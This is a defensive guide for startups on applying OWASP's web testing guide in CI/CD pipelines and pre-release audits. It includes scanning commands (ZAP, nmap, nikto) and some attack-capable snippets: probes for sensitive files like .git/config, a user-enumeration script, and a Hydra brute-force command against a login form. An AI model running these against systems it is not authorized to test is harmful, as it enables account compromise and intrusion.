OWASP WSTG Implementation Guide for Startups

1. Continuous Security Testing Practices

Continuous security testing means embedding security checks throughout the Software Development Life Cycle (SDLC), rather than waiting until the end. The OWASP Web Security Testing Guide (WSTG) emphasizes testing early and often as a way to catch vulnerabilities when they are cheaper to fix (WSTG - Latest | OWASP Foundation). In a startup, a solo security professional can achieve this by integrating automated security tests into development and CI/CD (Continuous Integration/Continuous Deployment) pipelines.

Integrating Security into the SDLC and CI/CD Pipeline

To implement continuous testing, incorporate security steps at each phase of development:

- **During Development:** Developers run **static code analysis** and **security unit tests** on new code. Use tools like SonarQube or ESLint/TSLint (with security rules) to statically detect issues (e.g. SQL injection, XSS patterns) before code is merged (WSTG - Latest | OWASP Foundation). Developers can also write unit tests for security (for example, verifying input validation logic or access control on functions).
- **During Build/CI:** Automate **dependency scanning** to catch known vulnerable libraries (e.g. OWASP Dependency-Check for Maven/Gradle, or `npm audit` for Node). Also include **secret scanning** (e.g. truffleHog, GitHub secret scan) so that no API keys or passwords slip in code. These run as jobs in the CI pipeline so any high-severity issue fails the build.
- **During Integration Testing:** Deploy a test instance of the application (staging) and run **dynamic application security testing (DAST)**. OWASP ZAP is a popular choice for this – it can run in a headless mode in CI to scan the web app for common vulnerabilities (The 6 best OWASP security testing tools in 2024). For example, you can use the ZAP Baseline Scan script (available in the ZAP Docker image) to spider the site and passively check for issues within a short time budget (ZAP - Baseline Scan). This can be triggered on every build:

```
docker run -v $(pwd):/zap/wrk -t owasp/zap2docker-stable \
  zap-baseline.py -t "https://staging.myapp.com" -r zap_report.html
```

The above command launches ZAP's baseline scan against the target URL and produces a report (`zap_report.html`) (ZAP - Baseline Scan). In a CI pipeline (e.g. GitLab or GitHub Actions), you would use the official ZAP Docker container and run a similar script to fail the build if any high-risk alerts are found (How to integrate OWASP ZAP in Gitlab CI/CD pipeline.) (How to integrate OWASP ZAP in Gitlab CI/CD pipeline.). For more intensive testing, ZAP's **full scan** (active scan) can run on a nightly/weekly job, since it's slower (How to integrate OWASP ZAP in Gitlab CI/CD pipeline.). ZAP also supports an automation framework using YAML configuration to predefine scan policies and authentication, which you can check into your repo and execute with `zap.sh -cmd -autorun <plan.yaml>` (How to integrate OWASP ZAP in Gitlab CI/CD pipeline.).

- **In QA/Staging:** Encourage QA engineers to include security test cases in regular testing. For instance, when QA writes end-to-end tests (using Selenium, Cypress, etc.), some security scenarios can be included (like trying a normal user to access an admin page, or inputting malicious strings). These can even be automated. Modern tools allow combining functional tests with security scans – e.g. run your Selenium tests through ZAP's proxy to funnel all requests through the scanner.

In practice, integrating OWASP testing into CI/CD might involve adding new pipeline stages for security. For example, a **"Security Scan" stage** after unit tests that runs a shell script which invokes tools like ZAP, dependency-check, static analyzers, etc. Many of these tools support output in machine-readable formats (JSON, JUnit XML, etc.) which can be used to break the build or feed results into dashboards.

Automated Tools & Frameworks: A variety of open-source tools work well in pipelines and are aligned with WSTG test categories:

- **OWASP ZAP:** As noted, ZAP is an all-in-one web app scanner (supports active and passive scanning). *Pros:* Free and open-source, wide coverage of OWASP Top 10, can be extended with scripts. *Cons:* Can be slow on large apps and may require tuning to avoid false positives (How to Automate OWASP ZAP | Jit) (How to Automate OWASP ZAP | Jit). *Setup:* ZAP provides a Docker image for easy CI use. For example, in a GitHub Action you can use the official ZAP action which runs a baseline scan with minimal configuration (Using the OWASP ZAP Baseline Scan GitHub Action - Lunavi). *Usage:* See the example

above using `zap-baseline.py`. You can also run ZAP in daemon mode and control it via its REST API or Python API for custom test flows.

- **Bandit (Python SAST):** If your startup's backend is Python, Bandit can scan code for common security issues (SQL injection, use of `pickle`, etc.). *Pros:* Very fast, integrates via `pip`. *Cons:* Only catches certain patterns, not a full proof. *Setup:* `pip install bandit` and then `bandit -r <your_project>` - to scan recursively. *Usage Example:* Add a CI job: `bandit -r . -f txt -o bandit_report.txt`. This will output any findings which you can review or fail on high severity.
- **ESLint with security plugins (JavaScript/TypeScript):** For Node.js or frontend code, you can use ESLint with plugins like eslint-plugin-security. This can catch insecure use of `eval`, detecting hard-coded credentials, etc. It runs as part of your normal linting. *Pros:* Easy to integrate with existing lint process. *Cons:* Limited to certain patterns. *Setup:* Add the plugin to your ESLint config and run `eslint`.
- **OWASP Dependency-Check:** For Java or multi-language projects, this tool checks your dependencies against a CVE database. *Pros:* Detects known vulnerable libs (e.g. outdated Log4j) which is crucial for supply chain security. *Cons:* Needs periodic database updates; false positives possible. *Setup:* It has a CLI and can be run with a configuration (XML/JSON). In CI, you might do:

  ```
  dependency-check.sh --project "MyApp" --scan ./ --format JSON -o dep_report.json
  ```

  This generates a report of vulnerable libraries.
- **Nmap & Nikto (Configuration tests):** You can automate some infrastructure checks. For instance, run Nmap to ensure only expected ports are open on your web server. Or use Nikto to scan for known vulnerable files/configs. *Pros:* Quick insight into server config issues. *Cons:* Nmap requires the test environment; Nikto may produce some noise. *Setup:* Use Nmap in CI only if you have a deployed test environment accessible; otherwise, run it in staging periodically.
- **Custom Scripts:** You can leverage Python or Bash to create custom security tests. For example, a short Python script with the `requests` library to test certain API endpoints for authentication bypass (more on this in categories below). The advantage is you tailor these to your app's logic.

All these tools can output results that you should collect. A good practice is to have the CI pipeline archive the security reports (HTML, JSON, etc.) even if the build

passes, so they can be reviewed. For any *critical findings*, the pipeline should **fail** (stop deployment) to enforce fixing before merge. Less severe issues might be logged for later but not block deployment – decide thresholds that make sense (e.g., fail on any Critical/High, warn on Medium).

Measuring Continuous Testing Success

To ensure continuous testing is effective, define metrics that show security is improving (WSTG - Latest | OWASP Foundation). Good metrics for a startup include:

- **Vulnerabilities Trend:** Track the number of security issues found in each cycle or release. Over time, the total number of problems should decrease as the team fixes existing issues and writes more secure code (WSTG - Latest | OWASP Foundation). For example, if in Q1 the security scans found 10 serious issues and in Q2 only 4, that's a positive trend.
- **Time to Fix (MTTR):** Measure how quickly identified vulnerabilities are resolved. In a continuous testing model, you want a low "mean time to remediation" for vulnerabilities. If a flaw is found by a CI scan, how many days until it's fixed and the pipeline is green again? Faster is better.
- **Coverage of WSTG Categories:** Define what percentage of WSTG test cases are automated. You might start with, say, 30% of relevant tests automated, and aim to increase this. For instance, if your pipeline covers injection, XSS, and basic config checks, that might cover ~50% of OWASP Top 10 issues. You can gradually include more categories (file upload tests, logic tests) and note this coverage.
- **Security Build Failure Rate:** How often is a build blocked by a security issue? Early on, this may happen frequently as legacy issues are discovered. Over time, a successful program will see fewer pipeline failures due to security, indicating developers are catching issues earlier (or not introducing them at all). If security build failures drop and stay near zero (and you trust the tests' coverage), it means code is meeting the security bar by default.
- **Education/Training Metrics:** Since one goal of continuous testing is educating developers, track things like attendance of secure coding training, or number of developers who can fix issues without security team help. This is more qualitative, but in a small startup, you can gauge improved security mindset (e.g. no more obvious hard-coded secrets after a certain date).
- **Vulnerability Recurrence:** Check if the same type of issue is being reintroduced. Good metrics will highlight if additional training is needed on a

certain weakness (WSTG - Latest | OWASP Foundation). For example, if SQL injection keeps appearing, developers might need guidance on using parameterized queries.

Finally, present these metrics in a simple dashboard or report to founders/management periodically. Show that continuous testing is **reducing risk** over time (e.g., "High-risk vulns dropped from 5 to 1 in last 3 months") (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo). This not only justifies the effort but also keeps security visible as a key quality measure of the product.

2. Final Stage Security Testing Requirements

No matter how thorough continuous checks are, a **final security testing stage** before a production release is critical. This is the last gate to catch any weaknesses that slipped through or emerged from the full, integrated system. The OWASP WSTG recommends a dedicated penetration test and configuration review during the deployment phase (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation). In a startup, the solo security engineer often performs this final review.

Critical Security Tests Before Go-Live

Before pushing to production, ensure the following tests and checks are completed (a WSTG-based pre-release checklist):

- **All Authentication & Access Controls Verified:** Test all login mechanisms, password resets, and multi-factor auth if applicable. Ensure default credentials are removed (no admin/admin accounts) (WSTG - Latest | OWASP Foundation) and that password policies and lockout controls are in place. Try to bypass authentication (e.g., by manipulating session tokens or parameters) (WSTG - Latest | OWASP Foundation). Also verify that users cannot escalate privileges or access each other's data (no broken authorization, see below).
- **Authorization Tests (Privileges):** As a final check, systematically test each sensitive function or URL to ensure proper authorization. If your app has roles (admin/user), log in as a low-privilege user and attempt to access admin URLs or APIs – you should be blocked (HTTP 403/redirected). Also test Insecure Direct Object References (IDOR): for example, if user A has an object with ID=123, see if user B can fetch `/object/123`. This must be prevented (WSTG - Latest | OWASP Foundation).

- **Input Validation & Injection:** Perform a thorough scan for **injection flaws** (SQL, NoSQL, OS command injection, LDAP, etc.). Even if automated scans ran, do manual testing of any critical input fields (especially those taking user input to query a database). Use tools like **sqlmap** in depth at this stage to attempt exploitation of any parameter that might be SQL injectable. Also test all HTML inputs for XSS by inserting payloads (both reflected and stored) and checking if they execute. The goal is to ensure the app is free of high-impact injection vulnerabilities before release.
- **Configuration & Deployment Checks:** Review the deployment environment configuration. Ensure no debug or verbose error messages are enabled on prod, no unnecessary services/ports are open on the server, default setup pages are removed, and directory listings are disabled (WSTG - Latest | OWASP Foundation). Security headers should be set (Content Security Policy, X-Frame-Options, HSTS, etc.) (GitHub - 0xRadi/OWASP-Web-Checklist: OWASP Web Application Security Testing Checklist) (GitHub - 0xRadi/OWASP-Web-Checklist: OWASP Web Application Security Testing Checklist). Also verify that transport security is enforced – the site should redirect HTTP to HTTPS and use a valid TLS certificate (with strong ciphers) (GitHub - 0xRadi/OWASP-Web-Checklist: OWASP Web Application Security Testing Checklist). If using cloud storage (S3 buckets, etc.), confirm they are not publicly readable/writeable unless intended (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo).
- **Dependency and Platform Check:** Right before release, do one more check that all libraries, packages, and the platform (framework, OS) are updated to the latest security patch levels. This final review might catch something like "Oh, we forgot to update that one library that has a new CVE." It's easier to fix before users rely on the system.
- **Business Logic Tests:** Conduct a final pass of **business logic testing** (see section 3 for examples) to see if any workflow can be abused to gain unintended advantage (such as purchasing an item for free, or performing an action out of order to bypass a check). These are manual and creative tests. For example, if the app uses coupon codes, test scenarios like applying a coupon multiple times or after it's supposed to expire, etc. Logic flaws can be critical and are not caught by automated scanners (Examples of business logic vulnerabilities | Web Security Academy).
- **Front-End and Client-Side Checks:** Before release, test the client side for issues like DOM-based XSS (using browser dev tools or a DOM XSS scanner),

open redirect vulnerabilities, and clickjacking. Make sure a proper Content Security Policy is in place (and tested), and that the site cannot be iframed by external domains (or if it can, that you're aware and it's intended). For single-page applications, test that API responses don't inadvertently expose sensitive data that the front-end hides.

- **Performance and DoS Resilience:** While not strictly in WSTG, it's wise before launch to consider denial of service angles. If possible, do some stress testing on inputs that could be computationally expensive (large file uploads, expensive search queries) to ensure the app won't easily fall over. Also verify rate limiting on critical APIs (e.g., login endpoint should throttle repeated attempts to prevent brute force).

You can structure these into a **pre-release security checklist** document. OWASP WSTG provides an excellent Excel/Checklist template that can be adapted to track completion of each test case (GitHub - tanprathan/OWASP-Testing-Checklist: OWASP based Web Application Security Testing Checklist is an Excel based checklist which helps you to track the status of completed and pending test cases.) (GitHub - tanprathan/OWASP-Testing-Checklist: OWASP based Web Application Security Testing Checklist is an Excel based checklist which helps you to track the status of completed and pending test cases.). A simplified checklist for a startup's final review might include items like "No critical vulnerabilities open (SQLi, XSS, auth bypass)", "All admin pages behind auth", "TLS A+ rating achieved", etc., with checkboxes.

Continuous vs Final Testing – What's the Difference?

Continuous testing and final-stage testing complement each other but have different approaches:

- **Frequency & Depth:** Continuous tests are run frequently (with each code push or daily builds) and are often a subset of checks that can be automated quickly. They aim to catch obvious flaws continuously. Final testing is infrequent (pre-release or maybe quarterly) but **deep** – it's essentially a comprehensive penetration test and audit that covers the full scope with manual creativity.
- **Automation vs Manual:** Continuous relies heavily on automation (SAST/DAST tools) integrated into CI/CD. Final testing involves a lot more manual exploration and expert-driven tests (like manually trying to chain vulnerabilities, doing fuzzing with context that a tool might not know, and examining the app like an attacker would).

- **Environment:** Continuous tests might run on partially built or dev environments (even code not fully deployed yet in the case of static analysis). Final testing is done on a nearly production-ready environment that mirrors what real users will see. This is important because some issues only appear in a full environment (e.g., misconfigured load balancer, real user roles present, etc.).
- **Scope of Issues:** Continuous scanning often focuses on *common* vulnerabilities (as per OWASP Top 10) that tools can identify (e.g., XSS, injection, known misconfigurations). Final stage testing can uncover *complex issues* like business logic flaws or compound vulnerabilities (e.g., an attacker might need to exploit a minor info leak plus a separate misconfig to do something bigger – a human tester can notice this).
- **Risk Tolerance:** Continuous testing errs on the side of caution – if a potential issue is found, it stops the pipeline (even if it might be a false positive) to force investigation. Final testing is about *verification* – confirming that the system is secure. By final stage, there should be no known issues remaining; if any high-risk issue is found now, it's a serious problem that likely delays release. Final testing also helps validate that your continuous tests were effective (if final test finds many things, then the continuous pipeline needs improvement).

In summary, continuous testing is like regular health check-ups, while final testing is like a full physical exam. Both are needed: continuous keeps the codebase healthy day-to-day, and final ensures you didn't miss anything critical before going live (WSTG - Latest | OWASP Foundation).

Interpreting Final Test Results and Risk Assessment

When final-stage testing is done, you'll have a list of findings (hopefully none too severe!). Here's how to interpret and act on them:

1. **Categorize by Severity:** Use a standard risk rating methodology to classify each finding as High, Medium, Low (or Critical/High/Med/Low) based on its impact and likelihood. OWASP provides a Risk Rating Methodology that factors in threat likelihood and business impact (OWASP Risk Rating Methodology | OWASP Foundation) (OWASP Risk Rating Methodology | OWASP Foundation). For example, a SQL injection that allows dumping the user database is High/Critical risk. A reflected XSS on an admin-only page might be Medium. Assigning severities helps prioritize fixes.

2. **Assess Impact:** For each issue, consider the worst-case impact *to the business*. Even if a vulnerability seems technical, translate it: e.g., "This XSS could allow an attacker to steal any user's session cookie, potentially compromising user accounts." If the impact is high (data breach, financial loss, reputational damage), the risk is higher (OWASP Risk Rating Methodology | OWASP Foundation) (OWASP Risk Rating Methodology | OWASP Foundation). Document what asset or data is at risk.
3. **Assess Likelihood:** Consider how feasible it is to exploit. Do you need to be an authenticated user? Is a special tool needed? For instance, an open admin portal with default creds has a very high likelihood of exploit (easy to discover and exploit), whereas a timing attack that requires many tries might be lower likelihood. OWASP's methodology encourages looking at factors like required skill, access, and detectability (OWASP Risk Rating Methodology | OWASP Foundation) (OWASP Risk Rating Methodology | OWASP Foundation).
4. **Decide Action – Fix, Mitigate, or Accept:** For each finding, especially High severity ones, plan a remediation before go-live. Ideally **fix** the root cause (e.g., sanitize that input, add that missing auth check). If a fix will take time, see if a short-term *mitigation* can reduce risk (e.g., a WAF rule to block an exploit pattern, or disabling a feature temporarily). In rare cases, a startup might **accept** a low-risk issue due to time constraints, but this should be a conscious decision with sign-off. Document all decisions.
5. **Re-test:** After fixes, re-run tests for those issues. For manual issues, re-test manually. For automated ones, run the scanner again or rerun your proof-of-concept exploit to ensure it's truly resolved.
6. **Risk Sign-off:** Perform a final risk assessment of the product's state. If all identified issues are addressed or accepted, and no *High or Critical* vulnerabilities remain, you can confidently sign off the release from a security standpoint. If something critical is unfixed, strongly consider delaying launch – a breach at launch can be devastating for a startup.

During risk assessment, it's helpful to quantify: e.g., "Overall risk: **Low**" if only a couple of minor issues remain. Many organizations use a matrix combining likelihood and impact to determine an overall severity (OWASP Risk Rating Methodology | OWASP Foundation) (OWASP Risk Rating Methodology | OWASP Foundation). For instance, High Impact + High Likelihood = Critical risk, whereas Low Impact + Low Likelihood = Low risk. Ensure stakeholders understand these ratings in business terms (a "Critical" could mean "potential data loss of customer data" etc.).

Finally, produce a **final security report**. Even if informal, write down what was tested and what was found. OWASP WSTG recommends documenting test results clearly for the business and developers (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation). This report serves as a record that due diligence was done. It should highlight any residual risks (so everyone is aware of what's not perfect yet). In a startup, this report can be short but should exist – it can also help if customers or auditors ask about your security testing.

3. WSTG Testing Categories In-Depth Analysis

The OWASP WSTG breaks down web security tests into categories. Below, we analyze each category with key vulnerabilities, how to test (manual vs automated), recommended tools (with pros/cons and setup tips), code snippets demonstrating testing techniques, and notes on using these tests continuously vs in final audits.

Information Gathering

Key areas & vulnerabilities: Information Gathering isn't about a specific "vulnerability" but rather collecting intel that could lead to finding vulnerabilities. This includes discovering server info, application endpoints, tech stack fingerprinting, and any sensitive data leakage. Improperly configured sites might leak information (for example, a publicly accessible `/robots.txt` revealing hidden paths, or server banners showing outdated software versions). While not exploits themselves, these can greatly aid an attacker.

Manual methods: Start with passive recon. Use search engines to find info about the site (Google dork queries can uncover pages or files not intended for public access) (WSTG - Latest | OWASP Foundation). Example: `site:yourapp.com filetype:pdf` might find documents, or searching the company name on pastebin for leaked credentials. Manually inspect the application: browse all links, note down parameters, observe any error messages or debug info. Check for files like `robots.txt`, `sitemap.xml`, `.git/` repositories, or backup files (e.g., `config.php~` or `.bak` files) – these often reveal sensitive info if present.

Also perform **fingerprinting**: determine what web server (Apache, nginx, etc.), OS, and frameworks the app uses. Simply examining HTTP response headers can give clues (a `Server: Apache/2.4.7` header or an `X-Powered-By: Express` for Node.js, etc.). This helps focus testing on known issues for those technologies.

Automated methods: Automation can speed up reconnaissance:

- **Web Crawlers/Spiders:** Tools like OWASP ZAP's spider or Burp Suite's crawler can automatically enumerate site pages and parameters. This ensures you haven't missed hidden links. In CI, ZAP's baseline scan effectively does this and lists all URLs it finds.
- **Search Engine Recon Tools:** `theHarvester` is a tool that automates search engine and public data mining (it can find subdomains, emails, etc. by querying sources like Google, Bing, and even certificate transparency logs). *Pros:* Quick way to gather external info; *Cons:* might need API keys for some sources. *Setup:* `pip install theHarvester`, then `theHarvester -d yourapp.com -b google`.
- **DNS and Subdomain Scanning:** Tools like **Amass** (by OWASP) or `Sublist3r` can enumerate subdomains of your domain. This finds if there are admin consoles on a subdomain (e.g., `admin.yourapp.com`) or other services. *Pros:* Finds shadow IT or forgotten sites; *Cons:* can be noisy. Use as needed, maybe not in CI (since it's more for external recon).
- **Port Scanning:** Using **Nmap** on your own servers (in a controlled environment) can reveal open ports/services. For a web app, you expect 80/443; if Nmap finds something like port 3306 (MySQL) open to the world, that's a serious deployment misconfiguration. In CI, you could have a step to Nmap the staging environment (if allowed). A simple Nmap command in a bash script: `nmap -Pn -p- -T4 yourapp.com` (scans all ports quickly).

Tools & Pros/Cons:

- *Nmap:* A classic network scanner. **Pros:** Flexible, can detect services and versions (with `-sV`), has scripts (NSE) for specific checks. **Cons:** Network-level, so it won't enumerate web pages (but it might find an open database port). **Usage:** Install on Linux (`sudo apt-get install nmap`). Example usage in CI (if you have a test server):

  ```
  nmap -Pn -p 1-1000 -oX nmap.xml yourapp.com
  ```

  This scans first 1000 ports and outputs XML for parsing.
- *OWASP Amass:* Great for mapping subdomains and external assets. **Pros:** Comprehensive passive and active enumeration, uses multiple sources. **Cons:** Might be overkill for a small app with one domain, and results need review (could find irrelevant domains with similar names). **Setup:** `snap install amass` or Docker image. **Usage:** `amass enum -d yourapp.com`.

- *Burp Suite (Community):* Useful for manual info gathering via the proxy and spider. **Pros:** Intercepts traffic so you see all parameters and responses; its spider finds pages. **Cons:** Community edition's spider is slower and not headless (not ideal for CI). Mostly used manually.

Code snippet (example): Using Python to fetch headers from a site for fingerprinting:

```
import requests
resp = requests.get("https://staging.myapp.com")
print(resp.headers.get('Server'), resp.headers.get('X-Powered-By'))
```

This simple script uses Python's Requests library to get the homepage and prints server-related headers. For instance, it might output `Apache/2.4.41 (Ubuntu) PHP/7.4` – immediately telling you the stack to focus on (you'd then test for known Apache/PHP issues). You could integrate such a script in CI to flag if an unexpected banner appears (perhaps your policy is to hide `X-Powered-By` in prod, so if it's present, that's a finding).

In **continuous testing**, info gathering steps can be somewhat limited – you might automate checking that no sensitive file (like `.env or .git`) is accessible on each deployment. One could write a small script or use Nikto in CI to scan for common sensitive files. In **final testing**, you do exhaustive recon: manually verify everything discovered, Google the app, search employee GitHub repos for mentions of the domain, etc. The final test might reveal something like an `.env` file with credentials left on the server (which is a critical issue to fix).

Overall, information gathering sets the stage. It should be performed early in a final test (to guide where to spend time) and to a lesser extent continuously (to ensure no obvious info leaks are introduced in new deployments).

Configuration & Deployment Management Testing

Key vulnerabilities: This category deals with weaknesses in how the application and server are configured. Common issues include: using default credentials or passwords in production, leaving unnecessary services enabled, improper file permissions, directory listings open, outdated software, missing security headers, and sample or backup files accessible. Essentially, misconfigurations that an attacker can easily exploit. For example, an admin interface left open without a password, or an old `/test/` page still on the server. OWASP WSTG notes that even small config oversights (like a default setting) can lead to exploitation (WSTG - Latest | OWASP Foundation).

Manual methods: Perform a **configuration review** of both the application and server:

- Check the **admin consoles**: Does your app have a `/admin` or `/manage` section? Ensure it requires strong authentication. Try the default creds of frameworks (like `admin/admin`, `admin/password`) (WSTG - Latest | OWASP Foundation) – you'd be surprised how often these remain.
- Attempt to browse common paths: `/config`, `/backup`, `/old`, `/test`, etc. If any respond, investigate. For instance, browsing to `/phpinfo.php` might show a PHP info page (which discloses internal paths and config). A checklist item is to *remove all sample or default files* that come with frameworks.
- Test HTTP methods. Try sending requests with less common methods like PUT or DELETE to see if the server accepts them (WSTG - Latest | OWASP Foundation). If your API or web server mistakenly allows PUT (file upload) in a directory, an attacker could upload a web shell. Use tools (or even curl) for this:

  ```
  curl -X OPTIONS -i https://staging.myapp.com/
  ```

  Check the "Allow:" header in the response. Ideally it should be something like `GET, POST` (and maybe HEAD). If you see PUT or DELETE enabled unexpectedly, that's a red flag.
- Inspect **security headers** in responses (especially for main pages). Ensure Content Security Policy (CSP), HSTS, X-Frame-Options, X-Content-Type-Options, etc., are set appropriately. Lack of these doesn't always equal a direct exploit, but it's part of hardening (e.g., missing CSP isn't a vulnerability by itself but missing HSTS could allow man-in-the-middle downgrades). You can manually look at response headers using browser dev tools or curl:

  ```
  curl -s -D- https://staging.myapp.com/ -o /dev/null
  ```

  This will print headers. Verify things like HSTS (`Strict-Transport-Security`) are present (GitHub - 0xRadi/OWASP-Web-Checklist: OWASP Web Application Security Testing Checklist).
- Check for **directory listing**: Navigate to a directory URL (like `https://myapp.com/assets/`) that might not have an index page. If the server is listing files (you see a list of files and folders), that's often a misconfiguration. Try this for various paths (or use automated tools as below).

- Review **file permissions and sensitive file access**. Try to fetch `/etc/passwd` or other system files (just to ensure the web server properly isolates file access). Also, if the app is on Windows/IIS, test for `web.config` or for `C:\` path traversal. These manual checks tie into testing for Path Traversal vulnerabilities (which is partly config and partly input validation).

Automated methods: Some tools for config checks:

- **Nikto:** A simple web server scanner that looks for thousands of common insecure files or configs (default files, directory listings, etc.). **Pros:** Easy to run, broad coverage of low-hanging fruits. **Cons:** Lots of noise, might flag things that are informational. *Setup:* `nikto -h yourapp.com -output nikto.txt`. In CI, Nikto could run on a staging URL and output findings (but careful – it's noisy and could false-alarm).
- **Nmap with NSE scripts:** Nmap has a suite of NSE scripts for vulnerability scanning. For example, `nmap --script http-enum <target>` will enumerate well-known directories. `nmap --script http-config-check <target>` can detect some misconfigs. **Pros:** Leverages Nmap's speed; **Cons:** Needs understanding of output.
- **OWASP ZAP (passive):** ZAP's passive scanner will notice some config issues by default. For instance, it will alert if "X-Frame-Options not set" or if cookies don't have Secure/HttpOnly, etc. So running ZAP in baseline mode (as we did in continuous testing) inherently checks a lot of config best practices. These show up as informational or low risk alerts usually.
- **Custom Scripts for common files:** You could script a quick check for specific files. Example in Bash:

  ```
  for path in robots.txt sitemap.xml .git/config config.php.bak phpinfo.php;
  do
      status=$(curl -o /dev/null -s -w "%{http_code}"
  https://staging.myapp.com/$path)
      echo "$path : HTTP $status"
  done
  ```

  This will quickly tell you if those files are present (HTTP 200) or not (404/403). In CI, you might maintain a list of forbidden files and ensure none are accessible.

Tools & Pros/Cons:

- *Nikto:* **Pros:** Covers lots of known issues (e.g., will check for `/admin/` pages, test for default login pages of various platforms, etc.). **Cons:** Output can be

lengthy; doesn't exploit, just reports. **Installation:** Available in Kali or install via CPAN (`perl nikto.pl`). **Use in CI?** Possibly, but you might filter its checks to relevant ones.

- *testssl.sh:* This is a script focusing on SSL/TLS configuration. It's useful for checking your HTTPS setup. **Pros:** Detailed TLS report (supported protocols, weak ciphers, etc.). **Cons:** Only for TLS, not general app configs. **Usage:** `testssl.sh https://myapp.com` – ensure no "weak" or "insecure" findings in output (e.g., if it says TLS 1.0 enabled, you'd want to disable that). This can be run at final test or periodically to maintain A-grade SSL config.
- *Burp Suite*: With Burp's scanner (Pro version) or extensions, it can flag things like directory listings or debug parameters. **Pros:** Very in-depth and customizable. **Cons:** Burp Pro is not free (budget constraint in a startup), and integration into CI is not straightforward unless using their enterprise solution.

Code snippet (example): Using `curl` in Bash to check for some misconfigurations quickly:

```
# Check HTTP methods
curl -X OPTIONS -I -s https://staging.myapp.com/ | grep "Allow:"
# Check if directory listing is enabled on /uploads
curl -s https://staging.myapp.com/uploads/ | grep "<title>Index of"
```

In the first curl, we look for the "Allow" header to see allowed methods. The second tries to detect if the response contains "Index of", which is a hallmark of Apache directory listings. These quick checks can be scripted to run after deployment and alert if something's off (like if someone enabled directory indexing accidentally).

In **continuous testing**, you might bake some of these checks into infrastructure provisioning. For instance, as part of deployment automation (Infrastructure as Code), ensure that directory listing is turned off on the web server config and that production config files have secure settings. You can also use container scanning tools (e.g., Docker image scanners) to ensure your Docker images don't have sensitive files or that they have minimal packages (reducing attack surface).

In **final testing**, configuration review is often a manual checklist you go through. The difference is thoroughness: e.g., manually log into the server (if allowed) to inspect config files for secrets or weak settings. Also, final test might include scanning the **network** around the app: Are database or cache servers properly firewalled from the internet? (Not directly a web app vuln, but critical config). If you

find an open database port or an S3 bucket with no auth, those are severe findings to fix before release.

Identity Management Testing

Key vulnerabilities: Identity Management covers how user accounts are created, managed, and segregated. Vulnerabilities here often relate to flawed user provisioning or deprovisioning, roles and permissions issues, and account enumeration. For instance, an app might allow an attacker to figure out registered usernames via a subtle difference in responses (user enumeration), or perhaps anyone can upgrade themselves to admin by manipulating a role ID during registration. Another aspect is weak username or identity policy – e.g., allowing duplicate usernames, or not confirming email ownership (which could allow account takeover by registering someone else's email).

Manual methods: Tests in this category include:

- **Role definition & enforcement:** Verify what roles exist (admin, user, moderator, etc.) and how they're assigned. If the app has an admin panel, check that normal users cannot simply access it by changing a parameter or URL. Try creating an account and see if you can somehow escalate privileges (for example, maybe there's a hidden `role=admin` field in a registration request – test by setting it). WSTG has a test for "Test Role Definitions" and "Account Provisioning Process" (WSTG - Latest | OWASP Foundation), meaning ensure that roles are correctly defined and only given to the right people.
- **Account registration process:** Test the signup form for flaws. Can you register the same email twice? If the app is supposed to send a verification email, does it actually enforce that before letting you use the account? Try using a fake email domain and see if you still get in. Also, check if any sensitive info is sent in the clear during registration or if the process can be abused (like an invitation system that could be misused to enumerate users).
- **Account enumeration:** This is important. On the login or password reset, does the app reveal if a username/email exists? For example, *"No account with that email"* vs *"Check your email for reset link"* – the difference tells an attacker which emails are registered. Test the responses (and HTTP status codes) for both existing and non-existing usernames. Also test any API endpoints that fetch user info – do they leak info about other users? WSTG suggests testing for account enumeration and guessable user accounts (WSTG - Latest | OWASP Foundation).

- **Default or guessable accounts:** If the app or underlying platform has default users, check those. For example, some CMS might have a default admin. Try common usernames: “admin”, “test”, “guest” with common passwords. Also, consider **username policy** – if the policy is weak, e.g., allowing “admin” as a username, someone could impersonate an admin in support systems, etc. WSTG highlights checking for weak or unenforced username policy (WSTG - Latest | OWASP Foundation).

Automated methods: Identity issues are tricky to fully automate, but some things can be:

- **Username enumeration automation:** You can write a simple script or use Burp Intruder to attempt a list of usernames/emails on a login or password reset endpoint and see which ones get a different response. For example, using Burp you could load a list of common emails and see which ones produce a “user exists” versus “user not found” message. Similarly, a Python snippet could do:

  ```
  import requests
  test_emails = ["test1@example.com","user@example.com","admin@example.com"]
  for email in test_emails:
      r = requests.post("https://myapp.com/reset", data={"email": email})
      if "If that email exists" not in r.text:
          print(f"Enumeration: {email} is a valid account!")
  ```

  If the app text differs when an email exists, the script will catch it.

- **Brute-force for weak accounts:** Use a tool like **Hydra** or **medusa** (password brute force tools) to try logging in with common weak credentials (especially for admin). For instance:

  ```
  hydra -L users.txt -p "password" myapp.com http-form-post
  "/login:username=^USER^&password=^PASS^:Invalid password"
  ```

  This would attempt each username in `users.txt` with the password “password” on the login form, looking for a string that indicates failure (here "Invalid password"). **Pros:** Fast way to catch accounts with default credentials; **Cons:** Could lock out accounts or generate noise, so use carefully (perhaps in a safe test environment).

- **Fuzzing role manipulation:** Some apps pass role IDs in requests. If you see something like `role=1` in a request when creating a user, try changing it to 2 or another number to see if you can create a higher-privileged account. You can automate this by intercepting with a proxy and replaying with

modifications, or a quick script. However, this is often a one-off manual test rather than high-volume automation.

Tools & Pros/Cons:

- *Burp Suite Intruder:* Great for login enumeration and brute force in a controlled way. **Pros:** Highly configurable payload positioning and can detect response differences. **Cons:** Community edition is slow (intentionally throttled), but for a small list of test usernames it's fine.
- *Hydra/Medusa:* Command-line brute force tools. **Pros:** High speed, supports many protocols (HTTP, SMTP, etc.) which is useful if testing other services. **Cons:** Need to know the request format and risk locking accounts; noisy (lots of login attempts).
- *Custom Python scripts:* Often the easiest for a solo tester to tailor to the specific app logic (e.g., maybe you want to test an invite code system for sequential codes – you can script that in Python). **Pros:** Full control, can integrate into CI (Python can output to CI logs or JSON). **Cons:** Requires writing/maintaining code; potential false conclusions if script logic is wrong.

Continuous vs Final: In continuous integration, identity management tests might be limited. You could have a unit test to ensure new code doesn't introduce, say, an easily guessable user ID pattern or that the registration requires email verification (by simulating workflow in an integration test). Also, you might automatically scan config for default creds if using known software (e.g., if deploying a new database, ensure no default "root" without password). In final testing, you dig into these issues much more manually. For instance, final testing might involve reviewing the user database if possible (are there any accounts that shouldn't be there?), and testing the process of user onboarding and off-boarding (if an account is deleted, ensure they truly lose access, etc.).

